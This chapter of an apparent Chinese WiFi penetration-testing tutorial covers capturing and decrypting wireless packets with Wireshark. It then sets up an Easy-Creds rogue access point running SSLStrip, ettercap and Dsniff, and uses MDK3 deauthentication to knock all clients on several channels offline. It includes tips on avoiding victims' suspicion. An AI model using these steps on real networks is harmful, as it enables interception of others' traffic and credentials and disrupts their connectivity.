第4章 捕获数据包

在WiFi渗透测试之前,如果要进行信息收集,最好的方法就是捕获数据包。在WiFi网络中,通过将无线网卡设置为混杂模式后,可以使用抓包工具捕获到通过无线网卡的所有数据包。如果用户使用白盒方法渗透测试的话,可能更容易获取到大量信息;如果使用黑盒渗透测试,则需要先破解无线AP的密码或者使用伪AP,然后才可以获取其他信息。下面将介绍使用Wireshark和伪AP,捕获WiFi网络中的数据包。

4.1 数据包简介

包(Packet)是TCP/IP协议通信传输中的数据单位,一般被称为“数据包”。在WiFi网络中,可以将数据包分为三类,分别是握手包、非加密包和加密包。本节将对这三类包进行详细介绍。

4.1.1 握手包

WiFi中的握手包指的是使用WEP或WPA加密方式的无线AP与无线客户端进行连接前的认证信息包。下面将介绍握手包的抓取。

用户可以将握手包理解成两个人在对话,具体方法如下所示。

(1)当一个无线客户端与一个无线AP连接时,先发出连接认证请求(握手申请:你好!)。

(2)无线AP收到请求以后,将一段随机信息发送给无线客户端(你是?)。

(3)无线客户端将接收到的这段随机信息进行加密之后,再发送给无线AP(这是我的名片)。

(4)无线AP检查加密的结果是否正确,如果正确则同意连接(哦,原来是自己人呀!)。

4.1.2 非加密包

在WiFi网络中非加密包指的是无线AP没有开启无线安全。这时候使用抓包工具捕获到的数据包,可以直接进行分析。

4.1.3 加密包

在网络中,传输的数据包有非加密的,则会有加密的包。在WiFi网络中,IEEE 802.11提供了三种加密算法,分别是有线等效加密(WEP)、暂时密钥集成协议(TKIP)和高级加密标准Counter-Mode/CBC-MAC协议(AES-CCMP)。所以,当无线AP采用加密方式(如WEP和WPA)的话,捕获的数据包都会被加密。用户如果想查看包中的内容,必须先对数据包文件进行解密后才可分析。

4.2 使用Wireshark捕获数据包

Wireshark是一个最知名的网络封包分析软件。通过对捕获的包进行分析,可以了解到每个包中的详细信息。由于WiFi网络中有不同的加密方式,所以捕获包的方法不同。本节将通过白盒测试的方法,使用Wiresahrk工具捕获各种加密和非加密的数据包。

4.2.1 捕获非加密模式的数据包

在无线路由器中,支持3种加密方式,分别是WPA-PSK/WPA2-PSK、WPA/WPA2和WEP。但是,有人为了方便使用,没有对网络进行加密。下面将介绍使用Wireshark捕获非加密模式的数据包。

【实例4-1】 捕获SSID为bob无线路由器中非加密模式的数据包。具体操作步骤如下所述。

(1)启动监听模式。执行命令如下所示。

root@Kali:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID     Name
2690    NetworkManager
5497    wpa_supplicant
5752    dhclient
Interface       Chipset         Driver
wlan2           Ralink RT2870/3070      rt2800usb - [phy1]
                        (monitor mode enabled on mon0)

(2)启动Wireshark工具。在图形界面依次选择“应用程序”|Kali Linux|Top 10 Security Tools|wireshark命令,将打开如图4.1所示的界面。

image

图4.1 Wireshark启动界面

(3)在该界面选择捕获接口。这里需要选择mon0接口,如图4.1所示。然后单击Start按钮,开始捕获数据包,如图4.2所示。

image

图4.2 捕获的数据包

(4)从该界面可以看到,捕获到的数据包都是802.11协议的。为了使Wireshark捕获到其他协议的包,这里通过在客户端浏览网页来产生一些包。

(5)当客户端浏览一些网页后,停止Wireshark捕获数据包。通过在Wireshark包列表面板中滚动鼠标,可以看到其他协议的数据包,如图4.3所示。

image

图4.3 捕获到的其他协议包

(6)从该界面可以看到有TCP、HTTP及DNS等协议的包。

4.2.2 捕获WEP加密模式的数据包

WEP是一种比较简单的加密方式,使用的是RC4的RSA数据加密技术。下面将介绍捕获WEP加密模式的数据包。

【实例4-2】 捕获WEP加密模式的数据包。其中,无线AP的SSID为bob,密码为12345。具体操作步骤如下所述。

1)启动监听模式。执行命令如下所示。

root@Kali:~# airmon-ng start wlan0

2)启动Wireshark工具,并选择捕获mon0接口上的数据包,如图4.4所示。

image

图4.4 捕获的数据包

3)从该界面可以看到,捕获到的所有包都是802.11协议的包。此时,用户通过客户端发送一些其他的请求(如访问一个网页),以产生供Wireshark捕获的数据包。

4)当客户端成功请求一个网页后,返回到Wireshark捕获包界面,发现所有包仍然都是802.11协议,而没有其他协议的包,如TCP和HTTP等。这是因为Wireshark默认将捕获到的所有包都加密了,这时候需要解密后才能看到。

解密Wireshark捕获的WEP加密数据包。具体解密方法如下所述。

(1)在Wireshark捕获包界面的工具栏中依次选择Edit|Preferences命令,将打开如图4.5所示的界面。

image

图4.5 Wireshark首选项

(2)在该界面选择Protocols选项,然后单击该选项前面的加号(+)展开支持的所有协议,在所有协议中选择IEEE 802.11协议,将显示如图4.6所示的界面。

image

图4.6 设置解密

(3)在该界面选择Enable decryption复选框,然后设置WiFi的密码,最后单击Edit...按钮,将显示如图4.7所示的界面。

image

图4.7 设置密码

(4)从该界面可以看到,默认没有任何的密钥。此时,单击“新建”按钮添加密码,如图4.8所示。

image

图4.8 输入密钥

(5)在该界面的Key type文本框中选择密钥类型,该工具支持的类型有wep、wpa-pwd和wpa-psk。因为本例中WiFi使用的是WEP加密的,所以选择加密类型为wep。然后在Key对应的文本框中输入密码,这里输入的密码格式为十六进制的ASCII码值。本例中的密码是12345,对应的十六进制ASCII码值为31、32、33、34、35。所以,输入的密码为31:32:33:34:35,这些值之间也可以不使用冒号。设置完成后,单击确定按钮,将显示如图4.9所示的界面。

image

图4.9 设置的密码

(6)从该界面可以看到,成功地添加了一个WEP加密类型的密码。然后依次单击“应用”和“确定”按钮,将返回图4.6所示的界面。在该界面单击“应用”和“确定”按钮,返回到Wireshark捕获包界面,将看到其他协议的包,如图4.10所示。

image

图4.10 解密后的包

(7)从该界面可以看到,成功解密出了其他协议的数据包。

在前面提到,在解密WEP模式的包时,需要输入十六进制的ASCII码值。这里将列出一个标准的ASCII码值表,方便用户的使用,如表4-1所示。

表4-1 ASCII码表

image

续表

image

续表

image

续表

image

4.2.3 捕获WPA-PSK/WPA2-PSK加密模式的数据包

WPA-PSK/WPA2-PSK是WPA的简化版。WPA全名为Wi-Fi Protected Access,有WPA和WPA2两个标准,是一种保护无线网络安全的系统。WPA加密方式是为了改进WEP密钥的安全性协议和算法,WPA2比WPA更安全。WPA算法改变了密钥生成方式,更频繁地变换密钥可以获得安全。它还增加了消息完整性检查功能来防止数据包伪装。下面将介绍捕获WPA-PAK/WPA2-PSK加密模式的数据包。

【实例4-3】 捕获WPA-PSK/WPA2-PSK加密模式的数据包。其中,无线AP的SSID为bob,密码为daxueba111。具体操作步骤如下所述。

(1)启动监听模式。执行命令如下所示。

root@Kali:~# airmon-ng start wlan0

(2)启动Wireshark工具,并选择mon0接口开始捕获数据包,如图4.11所示。

image

图4.11 捕获的数据包

(3)从该界面看到的数据包都是802.11协议的包,客户端发送的其他协议包都被加密。这里同样需要指定WPA加密的密码,才可以对捕获到的包进行解密。

(4)在Wireshark主界面的菜单栏中,依次选择Edit|Preferences...命令,打开首选窗口。然后选择IEEE 802.11协议,添加密码,如图4.12所示。

image

图4.12 输入密码

(5)在该界面选择加密类型为wpa-pwd。这里的密码格式为“密码:BSSID”,然后单击“确定”按钮,将显示如图4.13所示的界面。

image

图4.13 添加的密码

(6)从该界面可以看到添加的密码。然后依次单击“应用”和“确定”按钮,退出首选项设置界面。此时,返回到Wireshark,将看到解密后的数据包,如图4.14所示。

image

图4.14 解密后的数据包

(7)从该界面可以看到各种协议的包,如HTTP和DNS。本例中,客户端的IP地址为192.168.3.100。所以,在该界面的前几个包都是服务器响应给客户端的包。

4.3 使用伪AP

伪AP就是一个和真实AP拥有相同的功能,但实际上是一个假的AP。因为一个伪AP也可以为用户提供正常的网络环境,所以用户可以通过创建伪AP,迫使其他客户端连接到该AP。这样渗透测试人员就可以使用抓包工具,捕获连接伪AP客户端发送及接收的所有数据包。本节将介绍使用伪AP的方法。

4.3.1 AP的工作模式

要实现伪AP,首先要明白真实的AP的工作方式。AP通常有5种工作模式,分别是纯AP模式、网桥模式、点对点模式、点对多点模式和中继模式。下面将详细介绍AP的这几种工作模式。

1.纯AP模式(又叫无线漫游模式)

纯AP模式是最基本,又是最常用的工作模式,用于构建以无线AP为中心的集中控制式网络,所有通信都通过AP来转发。此时,AP既可以和无线网卡建立无线连接,也可以和有线网卡通过无线建立有线连接。纯AP的工作模式如图4.15所示。

image

图4.15 纯AP工作模式

2.网桥模式(又叫无线客户端模式)

工作在此模式下的AP会被主AP当做是一台无线客户端,跟一个无线网卡的地位相同,即俗称的“主从模式”。此模式可方便用户统一管理子网络。如图4.16所示,主AP工作在AP模式下,从AP工作在客户端模式下。整个LAN2对主AP而言,相当于一个无线客户端。

image

图4.16 网桥模式

注意: 从AP只是一个客户端,因此它只能接入有线网络,不能为其他无线客户端提供服务。

3.点对点模式

点对点桥接模式下,网络架构包括两个无线AP设备。通过这台AP连接两个有线局域网,实现两个有线局域网之间通过无线方式的互连和资源共享,也可以实现有线网络的扩展。如果是室外的应用,由于点对点连接一般距离较远,建议最好都采用定向天线。在此模式下,两台AP均设为点对点桥接模式,并指向对方的Mac地址。此时,两台AP相互发送无线信号,但不再向其他客户端发送无线信号。点对点模式的工作示意图如图4.17所示。

image

图4.17 点对点模式工作示意图

4.点对多点模式

点对多点桥接模式下,网络架构包括多个无线AP设备。其中一个AP为点到多点桥接模式,其他AP为点对点桥接模式。一般用于在一定区域内,实现多个远端点对一个中心点的访问,将多个离散的远程网络连成一体。点对多点模式的连接示意图如图4.18所示。

image

图4.18 点对多点模式工作示意图

在图4.18中,AP1为中心接入点设备,需设置为点对多点桥接模式;AP2和AP3为远端接入点,需设置为点对点桥接模式。

5.中继模式

在中继模式下,通过无线的方式将两个无线AP连接起来。一般用于实现信号的中继和放大,从而延伸无线网络的覆盖范围,中继模式的工作示意图如图4.19所示。

image

图4.19 中继模式工作示意图

如图4.19所示,AP中继设备由两个AP模块构成。一个AP模块采用客户端模式工作,作为信号接收器接收前一站的无线信号,另外一个采用标准AP覆盖模式,用来供无线站点关联和通信。

4.3.2 创建伪AP

伪AP实际上就是一个假的AP。但是,如果将伪AP的参数设置得和原始AP相同的话,则伪AP就和原始AP发挥一样的作用,可以接收来自目标客户端的连接,如SSID名称、信道和Mac地址等。下面将介绍使用Easy-Creds工具来创建伪AP,进而实现对客户端数据包的捕获。

Easy-Creds是一个菜单式的破解工具,允许用户打开一个无线网卡,并能实现一个无线接入点攻击平台。在Kali Linux操作系统中,默认没有安装Easy-Creds工具。所以,这里需要先安装该工具后才可使用。

【实例4-4】 安装Easy-Creds工具。具体操作步骤如下所述。

1)从https://github.com/brav0hax/easy-creds网站下载Easy-Creds软件包,其软件包名为easy-creds-master.zip。

2)解压下载的软件包。执行命令如下所示:

root@kali:~# unzip easy-creds-master.zip
Archive:  easy-creds-master.zip
bf9f00c08b1e26d8ff44ef27c7bcf59d3122ebcc
   creating: easy-creds-master/
  inflating: easy-creds-master/README
  inflating: easy-creds-master/definitions.sslstrip
  inflating: easy-creds-master/easy-creds.sh
  inflating: easy-creds-master/installer.sh

从输出的信息中可以看到,Easy-Creds软件包被解压到easy-creds-master文件中,easy-creds-master文件中有一个installer.sh文件,该文件就是用来安装Easy-Creds工具的。

3)安装Easy-Creds工具。在安装Easy-Creds工具之前,有一些依赖包需要安装。具体需要安装哪些依赖包,可以参考easy-creds-master文件中的子文件READM。然后,安装Easy-Creds工具。执行命令如下所示:

root@kali:~# cd easy-creds-master/
root@kali:~/easy-creds-master# ./installer.sh
____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||e |||a |||s |||y |||- |||c |||r |||e |||d |||s ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
        Version 3.8 - DEV
                   Installer
Please choose your OS to install easy-creds
1.  Debian/Ubuntu and derivatives
2.  Red Hat or Fedora
3.  Microsoft Windows
4.  Exit
Choice:

以上信息显示了安装easy-creds工具的操作系统菜单。

4)在这里选择安装到Debian/Ubunt操作系统中,所以输入编号1,将显示如下所示的信息:

Choice: 1
____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||e |||a |||s |||y |||- |||c |||r |||e |||d |||s ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
        Version 3.8 - DEV
                   Installer

Please provide the path you'd like to place the easy-creds folder. [/opt] :     #选择安装位置,本例中
使用默认设置
mv: 无法获取"/root/easy-creds" 的文件状态(stat): 没有那个文件或目录
chmod: 无法访问"/opt/easy-creds/easy-creds.sh": 没有那个文件或目录
[*] Installing pre-reqs for Debian/Ubuntu...
[*] Running 'updatedb'
[-] cmake is not installed, will attempt to install...
        [+] cmake was successfully installed from the repository.
[+] I found gcc installed on your system
[+] I found g++ installed on your system
[+] I found subversion installed on your system
[+] I found wget installed on your system
[+] I found libssl-dev installed on your system
[+] I found libpcap0.8 installed on your system
[+] I found libpcap0.8-dev installed on your system
[+] I found libssl-dev installed on your system
[+] I found aircrack-ng installed on your system
[+] I found xterm installed on your system
[+] I found sslstrip installed on your system
[+] I found ettercap installed on your system
[+] I found hamster installed on your system
[-] ferret is not installed, will attempt to install...
[*] Downloading and installing ferret from SVN
……
[+] I found aircrack-ng installed on your system
[+] I found xterm installed on your system
[!] If you received an error for libssl this is expected as long as one of them installed properly.

[+] I found sslstrip installed on your system
[+] I found ettercap installed on your system
[+] I found hamster installed on your system
[+] I found ferret installed on your system
[+] I found free-radius installed on your system
[+] I found asleap installed on your system
[+] I found metasploit installed on your system
[*] Running 'updatedb' again because we installed some new stuff
...happy hunting!

以上信息显示了安装easy-creds工具的详细过程。在该过程中,会检测easy-creds的依赖包是否都已安装。如果没有安装,此过程将会自动安装。Easy-creds软件包安装完成后,将显示happy hunting!提示信息。

注意: 在安装Easy-creds工具时,用户可能会发现在安装过程中提示有警告信息或错误等。这可能是因为下载软件包失败造成的。在选择安装位置下面提示的错误信息,是因为安装之前确实不存在那两个文件,所以会提示“没有那个文件或目录”信息。但是,这些信息不会影响Easy-creds工具的使用。只要安装完成后,显示happy hunting!信息,则表示该工具安装成功。

通过以上步骤将Easy-Creds工具成功安装到Kali Linux操作系统中,接下来就可以使用该工具来创建伪AP。本例中使用一个功率比较大的无线网卡(如拓实N95和G618)来实现创建伪AP。如果使用的网卡功率较小的话,客户端可能容易出现掉线或者网速慢等情况,这样可能会引起用户端的怀疑。下面以拓实G618无线网卡为例,介绍创建伪AP的方法。具体操作步骤如下所述。

(1)启动Easy-Creds工具。执行命令如下所示。

root@localhost:~/easy-creds-master#./easy-creds.sh

执行以上命令后,将输出如下所示的信息:

____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||e |||a |||s |||y |||- |||c |||r |||e |||d |||s ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
        Version 3.8-dev - Garden of New Jersey
At any time, ctrl+c  to cancel and return to the main menu
1.  Prerequisites & Configurations
2.  Poisoning Attacks
3.  FakeAP Attacks
4.  Data Review
5.  Exit
q.  Quit current poisoning session
Choice:

以上输出的信息显示了Easy-Creds工具的攻击菜单。

(2)在这里选择伪AP攻击,所以输入编号3,将显示如下所示的信息:

Choice: 3
____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||e |||a |||s |||y |||- |||c |||r |||e |||d |||s ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
        Version 3.8-dev - Garden of New Jersey
At any time, ctrl+c  to cancel and return to the main menu
1.  FakeAP Attack Static
2.  FakeAP Attack EvilTwin
3.  Karmetasploit Attack
4.  FreeRadius Attack
5.  DoS AP Options
6.  Previous Menu
Choice:

以上输出信息显示了伪AP攻击可使用的方法。

(3)在这里选择使用静态伪AP攻击,输入编号1,将显示如下所示的信息:

Choice: 1
____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||e |||a |||s |||y |||- |||c |||r |||e |||d |||s ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
        Version 3.8-dev - Garden of New Jersey
At any time, ctrl+c  to cancel and return to the main menu
Would you like to include a sidejacking attack? [y/N]: N                        #是否想要包括劫持攻击
Network Interfaces:
eth0       00:0c:29:62:ea:43             IP:192.168.6.105
wlan4      00:e0:4c:81:c1:10
Interface connected to the internet (ex. eth0): eth0                            #选择要连接的接口
Interface               Chipset                 Driver
wlan4           Realtek RTL8187L        rtl8187 - [phy1]
Wireless interface name (ex. wlan0): wla4                                       #设置无线接口名
ESSID you would like your rogue AP to be called, example FreeWiFi: bob
                                                                                #设置无线AP的ESSID
Channel you would like to broadcast on: 5                                       #设置使用的信道
[*] Your interface has now been placed in Monitor Mode
mon0            Realtek RTL8187L        rtl8187 - [phy1]
Enter your monitor enabled interface name, (ex: mon0): mon0                     #设置监听模式接口名
Would you like to change your MAC address on the mon interface? [y/N]: N        
                                                                        #是否修改监听接口的MAC地址
Enter your tunnel interface, example at0: at0                                   #设置隧道接口
Do you have a dhcpd.conf file to use? [y/N]: N                                  #是否使用dhcpd.conf文件
Network range for your tunneled interface, example 10.0.0.0/24: 192.168.1.0/24  
                                                                                #设置隧道接口的网络范围
The following DNS server IPs were found in your /etc/resolv.conf file:
<> 123.125.81.6
 <> 114.114.114.114
Enter the IP address for the DNS server, example 8.8.8.8: 192.168.6.105                 #设置DNS服务器
[*] Creating a dhcpd.conf to assign addresses to clients that connect to us.
[*] Launching Airbase with your settings.
[*] Configuring tunneled interface.
[*] Setting up iptables to handle traffic seen by the tunneled interface.
[*] Launching Tail.
[*] DHCP server starting on tunneled interface.
[ ok ] Starting ISC DHCP server: dhcpd.
[*] Launching SSLStrip...
[*] Launching ettercap, poisoning specified hosts.
[*] Configuring IP forwarding...
[*] Launching URLSnarf...
[*] Launching Dsniff...

设置完以上的信息后,系统将会自动启动一些程序。如DHCP服务、SSLStrip、Etterp和Dsniff等。几秒后,将会打开几个有效窗口,如图4.20所示。

image

图4.20 打开的窗口

注意: 如果用户在Kali 3.7以上内核中运行Easy-Creds工具,图4.20中的第一个对话框(Airbase-NG),将会显示信道为-1错误信息(Error:Got channel -1,expected a value >0)。这是因为Airbase-NG是Aircrack-ng集中的一个工具,并且Aircrack-ng工具集只支持在Kali 3.7内核中使用。

(4)从该界面可以看到显示了6个窗口,从这些窗口的头部名可以看到这就是在前面配置完后启动的几个程序名,这些程序工作时将会使所有的信息显示在这些窗口中。

(5)当有客户端连接前面配置的AP(bob)时,Easy-Creds将自动给客户端分片一个IP地址,并且可以访问互联网。此时,Easy-Creds工具给客户端分配地址的信息将会在第二个窗口中显示,如图4.21所示。

image

图4.21 连接的客户端

(6)从该界面可以看到,MAC地址为14:f6:5a:ce:ee:2a的客户端连接了该AP,并且为该客户端分配的IP地址为192.168.1.100。此时,该客户端发送的所有数据都会被捕获。

4.3.3 强制客户端下线

在上一个节中演示了手动将一个客户端连接到创建的伪AP。但是,在通常情况下不可能正好有客户端要连接网络。此时,用户可以使用MDK3工具,强制将客户端踢下线,迫使其连接到创建的伪AP上。MDK3工具的语法格式如下所示。

mdk3 <interface> <test_mode> <test_options>

以上语法中各选项含义如下所示。

image  interface:指定网络接口。

image  test_mode:指定测试模式。该工具支持的模式有a(DoS模式)、b(Beacon洪水模式)、d(解除验证/解除关联暴力模式)、f(MAC过滤暴力模式)、g(WPA降级测试)、m(关闭开发)、p(基本探测和ESSID暴力模式)、w(WIDS/WIPS混乱),以及x(802.1X测试)。

image  test_options:指定一些测试选项。用户可以使用--fulhelp选项,查看所有测试选项。

【实例4-5】 使用MDK3工具,将工作在信道1、6和11上的客户端强制踢下线。执行命令如下所示。

root@Kali:~# mdk3 mon0 d -s 120 -c 1,6,11

执行以上命令后,将看到如下所示信息:

Disconnecting between: 01:80:C2:00:00:00 and: 8C:21:0A:44:09:F8 on channel: 1
Disconnecting between: 01:00:5E:7F:FF:FA and: EC:17:2F:46:70:BA on channel: 6
Disconnecting between: 0C:1D:AF:7B:27:B9 and: 5A:46:08:C3:99:D9 on channel: 11
Disconnecting between: 14:F6:5A:CE:EE:2A and: 8C:21:0A:44:09:F8 on channel: 1
Disconnecting between: 94:94:26:B7:84:40 and: 8C:BE:BE:20:5F:44 on channel: 1
Disconnecting between: 94:94:26:B7:84:40 and: 8C:BE:BE:20:5F:44 on channel: 1
Disconnecting between: 00:16:6A:3F:03:3E and: C8:3A:35:03:6F:20 on channel: 1
Disconnecting between: 01:80:C2:00:00:00 and: EC:17:2F:46:70:BA on channel: 6
Disconnecting between: 00:16:6A:3F:03:3E and: DA:64:C7:2F:9B:19 on channel: 1
Disconnecting between: 68:DF:DD:18:C2:13 and: 5A:46:08:C3:99:DB on channel: 6
Disconnecting between: 00:16:6A:3F:03:3E and: DA:64:C7:2F:A1:C8 on channel: 6
Disconnecting between: 01:80:C2:00:00:00 and: EC:17:2F:46:70:BA on channel: 6
......

从以上输出信息中可以看到,强制将工作在信道1、6、11上的客户端与相应的AP断开了连接。这时候客户端重新连接时AP时,创建的伪AP将会出现在所有信号的最前面,并且显示的信号非常强。这样客户端就可能连接到伪AP,并且可以正常访问网络。MDK3工具强制客户端断线的效果,比使用aireplay-ng命令发送deauth攻击效果好。

4.3.4 捕获数据包

在4.3.2节介绍了创建伪AP的方法,通过以上方法创建好伪AP后,就可以捕获客户端发送及接收的数据包。下面将介绍通过使用伪AP捕获客户端的数据包。

【实例4-6】 使用伪AP捕获客户端的数据包。这里以前面创建的伪AP(bob)为例,实施捕获数据包。具体操作步骤如下所述。

(1)启动Wireshark工具,如图4.22所示。

image

图4.22 Wireshark主界面

(2)在该界面选择at0接口,然后单击Start按钮开始捕获数据包,如图4.23所示。

image

图4.23 捕获的数据包

(3)从该界面可以看到,客户端的所有数据包(如第5、8、10、11帧)是客户端请求获取DHCP的4个阶段包。根据包的信息可以看到,客户端获取到的IP地址为192.168.1.100。如果用户只想查看客户端的数据包时,可以使用IP地址显示过滤器进行过滤。